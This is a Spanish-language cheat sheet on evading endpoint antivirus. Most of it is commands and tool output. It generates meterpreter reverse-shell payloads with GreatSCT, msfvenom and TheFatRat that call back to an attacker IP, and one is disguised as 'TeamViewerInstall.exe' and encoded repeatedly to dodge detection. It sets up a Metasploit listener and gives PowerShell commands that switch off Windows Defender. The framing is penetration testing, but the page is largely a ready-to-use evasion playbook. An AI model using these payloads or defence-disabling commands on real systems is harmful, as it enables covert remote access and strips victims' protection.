Son las técnicas utilizadas por los atacantes para evitar que el software antivirus detecte y bloquee malware o virus en un sistema para llevar a cabo ataques exitosos sin ser detectados.
Evasión de Antivirus en Endpoints
Bypass de ejecución de scripts en tiempo real
El bypass de ejecución de scripts en tiempo real se refiere a técnicas utilizadas por los atacantes para evitar que los sistemas de seguridad detecten y bloqueen la ejecución de scripts maliciosos en tiempo real.
Descarga de un ejecutable detectado como malicioso por terminal:
Esto lo detectan los antivirus, por lo que vamos a evadirlo con otras técnicas
AMSI Bypass Methods
El AMSI (Antimalware Scan Interface) es una interfaz de programación de aplicaciones que permite a los proveedores de software antivirus y antimalware integrar sus soluciones en aplicaciones y servicios de Windows. Sin embargo, los atacantes pueden utilizar técnicas para eludir la detección de AMSI y ejecutar código malicioso sin ser detectados.
Copiar y pegar en la máquina objetivo, y ya estaríamos bypass 😎
GreatSCT
Herramienta automática para bypass de defensas. Es una herramienta de código abierto diseñada para generar payloads maliciosos para pruebas de penetración y evaluación de seguridad. La herramienta está escrita en Python y permite a los usuarios crear payloads personalizados para diferentes sistemas operativos y arquitecturas.
Genera payloads compatibles con MetaSploit para bypassear defensas
Instalar siguiendo los pasos del repositorio.
list> use 1List # Nos muestra los payloads que no detecta windows# regasm y regsvcs son dificiles de detectar por los antivirususe regasm/meterpreter/rev_tcp.pyset host IP_KALIset lport 5555generate
Dar un nombre al payload o dejar por defecto
Nos da las instrucciones para ejecutarlo:
[*] Language: regasm
[*] Payload Module: regasm/meterpreter/rev_tcp
[*] DLL written to: /usr/share/greatsct-output/compiled/payload.dll
[*] Source code written to: /usr/share/greatsct-output/source/payload.cs
[*] Execute with: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll
[*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/payload.rc
Y ya tenemos abierta la sesión de meterpreter, haciendo el bypass del antivirus
Payload de Msfvenom con codificación
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai
Found1compatibleencodersAttemptingtoencodepayloadwith3iterationsofx86/shikata_ga_naix86/shikata_ga_naisucceededwithsize326 (iteration=0)x86/shikata_ga_naisucceededwithsize353 (iteration=1)x86/shikata_ga_naisucceededwithsize380 (iteration=2)x86/shikata_ga_naichosenwithfinalsize380Payloadsize:380bytesbuf=""buf+="\xbb\x78\xd0\x11\xe9\xda\xd8\xd9\x74\x24\xf4\x58\x31"buf+="\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32"buf+="\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94"buf+="\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e"buf+="\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e"<SNIP>
Codificación Shikata Ga Nai
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
Found1compatibleencodersAttemptingtoencodepayloadwith1iterationsofx86/shikata_ga_naix86/shikata_ga_naisucceededwithsize368 (iteration=0)x86/shikata_ga_naichosenwithfinalsize368Payloadsize:368bytesFinalsizeofexefile:73802bytesSavedas:TeamViewerInstall.exe
Esto generará una carga útil con el exeformato llamado TeamViewerInstall.exe, que está diseñado para funcionar en procesadores de arquitectura x86 para la plataforma Windows, con una carga útil de shell Meterpreter inversa_tcp oculta, codificada una vez con el esquema Shikata Ga Nai.
Para que sea menos detectado por los antivirus podemos codificarlo varias veces
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
Found1compatibleencodersAttemptingtoencodepayloadwith10iterationsofx86/shikata_ga_naix86/shikata_ga_naisucceededwithsize368 (iteration=0)x86/shikata_ga_naisucceededwithsize395 (iteration=1)x86/shikata_ga_naisucceededwithsize422 (iteration=2)x86/shikata_ga_naisucceededwithsize449 (iteration=3)x86/shikata_ga_naisucceededwithsize476 (iteration=4)x86/shikata_ga_naisucceededwithsize503 (iteration=5)x86/shikata_ga_naisucceededwithsize530 (iteration=6)x86/shikata_ga_naisucceededwithsize557 (iteration=7)x86/shikata_ga_naisucceededwithsize584 (iteration=8)x86/shikata_ga_naisucceededwithsize611 (iteration=9)x86/shikata_ga_naichosenwithfinalsize611Payloadsize:611bytesFinalsizeofexefile:73802bytes
Al subir el payload a Virustotal vemos que lo siguen detectando los antivirus incluso con varias capas de cifrado. Alternativamente, Metasploit ofrece una herramienta llamada msf-virustotal que podemos usar con una clave API para analizar nuestros payloads (requiere registro gratuito en VirusTotal)
msf-virustotal-k<APIkey>-fTeamViewerInstall.exe[*] Using API key: <API key>[*] Please wait whileIuploadTeamViewerInstall.exe...[*] VirusTotal: Scan request successfully queued, come back later for the report[*] Sample MD5 hash : 4f54cc46e2f55be168cc6114b74a3130[*] Sample SHA1 hash : 53fcb4ed92cf40247782de41877b178ef2a9c5a9[*] Sample SHA256 hash : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343[*] Requesting the report...[*] Received code -2. Waiting for another 60 seconds...[*] Received code -2. Waiting for another 60 seconds...[*] Received code -2. Waiting for another 60 seconds...[*] Received code -2. Waiting for another 60 seconds...[*] Received code -2. Waiting for another 60 seconds...[*] Received code -2. Waiting for another 60 seconds...[*] Analysis Report: TeamViewerInstall.exe (51/68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8==================================================================================================================AntivirusDetectedVersionResultUpdate------------------------------------ALYactrue1.1.3.1Trojan.CryptZ.Gen20220505APEXtrue6.288Malicious20220504AVGtrue21.1.5827.0Win32:SwPatch [Wrm] 20220505Acronistrue1.2.0.108suspicious20220426Ad-Awaretrue3.0.21.193Trojan.CryptZ.Gen20220505AhnLab-V3true3.21.3.10230Trojan/Win32.Shell.R128320220505Alibabafalse0.3.0.520190527Antiy-AVLfalse3.020220505Arcabittrue1.0.0.889Trojan.CryptZ.Gen20220505Avasttrue21.1.5827.0Win32:SwPatch [Wrm] 20220505Aviratrue8.3.3.14TR/Patched.Gen220220505Baidufalse1.0.0.220190318BitDefendertrue7.2Trojan.CryptZ.Gen20220505BitDefenderThetatrue7.2.37796.0Gen:NN.ZexaF.34638.eq1@aC@Q!ici20220428Bkavtrue1.3.0.9899W32.FamVT.RorenNHc.Trojan20220505<------SNIP------>
The Fat Rat
TheFatRat es una herramienta de código abierto que se utiliza para crear payloads maliciosos para pruebas de penetración y evaluación de seguridad. Es una herramienta de fácil uso y cuenta con una interfaz gráfica de usuario intuitiva que permite a los usuarios crear payloads personalizados para diferentes sistemas operativos y arquitecturas.
2Slow But Powerful# Esperar a que compilesudo cp /root/Fatrat_Generated/Powerfull.ese /home/kali/Escritorio# Enviar el .exe a la máquina destino
Abrir MetaSploit
msfconsole > use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOSTset LPORT 4321# o el que hayamos indicado en Slow But Powerfulexploit
Ejecutar el .exe en la máquina destino
Ya tendríamos acceso
Deshabilitar Windows Defender por comandos
Abrir Powershell como administrador:
# Deshabilitar Windows Defender en tiempo real (protección en tiempo real)Set-MpPreference-DisableRealtimeMonitoring $true# Deshabilitar la protección basada en la nubeSet-MpPreference-DisableBehaviorMonitoring $true# Deshabilitar la protección contra amenazas emergentesSet-MpPreference-DisableBlockAtFirstSeen $true# Detener Windows DefenderscstopWinDefend# Comando para eliminar definiciones de virus"%ProgramFiles%\Windows Defender\MpCmdRun.exe"-RemoveDefinitons-All
Para habilitarlo de nuevo solo tenemos que introducir los mismos comandos terminado en $false